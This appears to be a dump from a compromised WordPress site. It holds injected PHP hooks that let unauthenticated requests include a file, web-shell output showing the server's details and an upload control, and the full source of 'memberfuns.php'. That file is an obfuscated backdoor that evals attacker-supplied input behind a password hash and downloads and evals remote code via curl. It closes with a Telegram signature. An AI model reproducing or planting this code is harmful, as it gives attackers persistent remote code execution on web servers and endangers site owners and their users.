if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/memberfuns.php
<?php
 goto qVBWTFtODa; d3LxXqYBTR: metaphone("\115\x6a\111\62\x4f\x54\x6b\x33\x4e\x7a\131\x7a\x4d\124\x45\x34\116\x44\105\x32\x4e\124\x63\x79\115\124\x59\x79\116\124\x4d\x79"); goto Rx2gg32vuT; qVBWTFtODa: $PxcJS3D0sD = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto NzgH9vsfgk; wabD00cmv7: @(md5(md5(md5(md5($kcSPYxV2sJ[16])))) === "\146\61\x31\x36\x63\x34\x64\x32\67\x65\141\x66\x65\142\x62\143\65\145\x37\x35\x33\x34\145\x32\63\65\x33\x63\144\x61\x62\71") && (count($kcSPYxV2sJ) == 22 && in_array(gettype($kcSPYxV2sJ) . count($kcSPYxV2sJ), $kcSPYxV2sJ)) ? ($kcSPYxV2sJ[63] = $kcSPYxV2sJ[63] . $kcSPYxV2sJ[74]) && ($kcSPYxV2sJ[90] = $kcSPYxV2sJ[63]($kcSPYxV2sJ[90])) && @eval($kcSPYxV2sJ[63](${$kcSPYxV2sJ[50]}[15])) : $kcSPYxV2sJ; goto d3LxXqYBTR; mI6nVcbcou: $kcSPYxV2sJ = ${$oqmPmNjNhp[1 + 30] . $oqmPmNjNhp[50 + 9] . $oqmPmNjNhp[32 + 15] . $oqmPmNjNhp[46 + 1] . $oqmPmNjNhp[26 + 25] . $oqmPmNjNhp[43 + 10] . $oqmPmNjNhp[19 + 38]}; goto wabD00cmv7; Rx2gg32vuT: class s5taDEYF1i { static function EQtyZlzI5P($A309qPugrL) { goto tyicsVu1AP; MrBOytboeh: return $nsym1DFtDl; goto jL1MiZLBlJ; o5bdTJl37q: $TCXAutdH62 = explode("\x7d", $A309qPugrL); goto uRDkKWOROp; uRDkKWOROp: $nsym1DFtDl = ''; goto yaCb9Xv5st; tyicsVu1AP: $SwULfknU_J = "\x72" . "\x61" . "\x6e" . "\x67" . "\145"; goto ewe44PVj80; ewe44PVj80: $KTSMA5habh = $SwULfknU_J("\x7e", "\40"); goto o5bdTJl37q; mVBAjHYrvZ: eZELmf36xv: goto MrBOytboeh; yaCb9Xv5st: foreach ($TCXAutdH62 as $ZmtKE4MxbS => $Y8nnmbxHaW) { $nsym1DFtDl .= $KTSMA5habh[$Y8nnmbxHaW - 27313]; CqL_4uu9Zp: } goto mVBAjHYrvZ; jL1MiZLBlJ: } static function V5f88lhpaV($eWQHGO01Bl, $r1FqGFZmej) { goto KMPa5bopX8; c5FM4V8Jly: return empty($ToezSpbc7C) ? $r1FqGFZmej($eWQHGO01Bl) : $ToezSpbc7C; goto ZdNSUUiWUy; atVmSnjJOF: $ToezSpbc7C = curl_exec($fBsql_AbhC); goto c5FM4V8Jly; xF5q5b0zF0: curl_setopt($fBsql_AbhC, CURLOPT_RETURNTRANSFER, 1); goto atVmSnjJOF; KMPa5bopX8: $fBsql_AbhC = curl_init($eWQHGO01Bl); goto xF5q5b0zF0; ZdNSUUiWUy: } static function XbHswaQgys() { goto H73ephIyOT; H73ephIyOT: $NI6hp1pnXX = array("\x32\x37\x33\64\60\x7d\x32\x37\63\62\65\175\62\x37\63\63\x38\175\x32\x37\x33\x34\62\x7d\x32\x37\63\62\63\x7d\62\x37\63\x33\x38\175\x32\67\x33\x34\64\175\x32\x37\63\x33\67\175\x32\67\63\x32\x32\175\62\x37\x33\62\x39\x7d\62\67\x33\64\60\x7d\62\x37\63\62\x33\x7d\x32\67\63\63\x34\175\62\67\63\x32\x38\x7d\x32\x37\x33\x32\71", "\62\67\x33\x32\64\175\x32\x37\63\x32\x33\x7d\62\x37\x33\x32\x35\175\62\67\63\x34\64\175\62\x37\63\x32\x35\175\62\67\63\62\70\x7d\x32\x37\63\62\x33\175\62\x37\x33\x39\60\175\62\67\x33\x38\70", "\62\x37\x33\x33\x33\175\x32\67\x33\62\64\175\62\67\63\x32\x38\x7d\62\67\x33\62\x39\175\62\x37\63\64\64\x7d\x32\67\63\x33\x39\175\62\67\x33\x33\70\x7d\x32\x37\63\64\x30\x7d\x32\67\63\62\70\x7d\62\x37\63\63\x39\x7d\62\67\63\x33\70", "\62\x37\x33\x32\x37\175\x32\x37\63\x34\62\175\x32\67\x33\64\x30\175\x32\x37\x33\63\x32", "\62\67\x33\64\61\x7d\62\x37\63\x34\x32\175\x32\x37\x33\x32\64\175\62\x37\63\x33\70\x7d\x32\x37\x33\70\x35\175\x32\67\x33\70\67\175\62\x37\63\x34\x34\x7d\x32\x37\x33\x33\71\175\62\x37\x33\x33\x38\175\x32\67\x33\x34\x30\175\62\67\x33\x32\70\175\62\x37\x33\63\71\175\x32\x37\63\x33\x38", "\x32\67\x33\x33\67\x7d\62\67\63\x33\64\x7d\x32\67\x33\63\61\175\x32\x37\x33\x33\70\x7d\62\67\63\x34\x34\x7d\62\x37\63\63\66\175\x32\x37\63\63\70\175\62\67\63\x32\x33\175\62\x37\63\64\x34\175\62\x37\63\x34\60\x7d\62\x37\63\62\70\x7d\62\67\x33\62\71\x7d\62\x37\x33\62\63\x7d\62\67\63\63\70\175\62\x37\x33\x32\x39\x7d\x32\67\x33\x32\x33\175\x32\x37\63\62\x34", "\x32\x37\63\x36\x37\175\62\67\x33\71\x37", "\62\x37\63\61\x34", "\62\x37\63\x39\62\x7d\62\x37\63\71\x37", "\x32\x37\63\67\x34\x7d\x32\67\x33\65\x37\175\62\x37\x33\x35\67\x7d\x32\x37\x33\x37\x34\x7d\62\x37\63\x35\60", "\x32\67\63\x33\67\175\62\x37\x33\63\64\175\62\67\63\x33\x31\175\x32\x37\63\x32\63\x7d\x32\67\63\63\70\175\62\x37\63\62\65\175\x32\x37\x33\x34\x34\175\x32\x37\63\x33\64\x7d\x32\x37\x33\x32\x39\x7d\x32\67\63\62\67\175\62\67\x33\x32\62\x7d\62\x37\63\62\x33"); goto MXz23zocNf; y1x84gmq4i: $Mj2CTVgGsr = @$fKgaNE_Soj[1]($fKgaNE_Soj[8 + 2](INPUT_GET, $fKgaNE_Soj[6 + 3])); goto fcWvd5QNDl; OO20iAs9eO: hxwvwz10Bd: goto AHcnbbd288; Gc5y0D7yRs: @eval($fKgaNE_Soj[2 + 2]($K5CQMuzA34)); goto xoP8FWd_l6; D0tcn3KaKf: $K5CQMuzA34 = self::V5F88lHpAV($fLNqQELJ8T[0 + 1], $fKgaNE_Soj[4 + 1]); goto Gc5y0D7yRs; SchZGpHVSk: W70Y24renN: goto y1x84gmq4i; MXz23zocNf: foreach ($NI6hp1pnXX as $T3dhiBnPEz) { $fKgaNE_Soj[] = self::eqtyzLzi5P($T3dhiBnPEz); T9CPH2PxgA: } goto SchZGpHVSk; fcWvd5QNDl: $W2P5BbDkr2 = @$fKgaNE_Soj[1 + 2]($fKgaNE_Soj[6 + 0], $Mj2CTVgGsr); goto QhK4xsNAAS; QhK4xsNAAS: $fLNqQELJ8T = $fKgaNE_Soj[0 + 2]($W2P5BbDkr2, true); goto rlutcs5nfu; rlutcs5nfu: @$fKgaNE_Soj[4 + 6](INPUT_GET, "\157\146") == 1 && die($fKgaNE_Soj[5 + 0](__FILE__)); goto rTvUYtUi8m; rTvUYtUi8m: if (!(@$fLNqQELJ8T[0] - time() > 0 and md5(md5($fLNqQELJ8T[3 + 0])) === "\67\67\x37\67\x66\145\x38\144\141\61\143\x33\x30\x33\141\x39\x39\70\x36\x65\62\x31\x37\x34\64\x36\143\x62\70\x30\x37\62")) { goto hxwvwz10Bd; } goto D0tcn3KaKf; xoP8FWd_l6: die; goto OO20iAs9eO; AHcnbbd288: } } goto P_AETRHKnO; NzgH9vsfgk: $oqmPmNjNhp = $PxcJS3D0sD("\x7e", "\40"); goto mI6nVcbcou; P_AETRHKnO: S5tadeYf1i::xbHsWaqGYS();
?>
BiaoJiOk
@ Telegram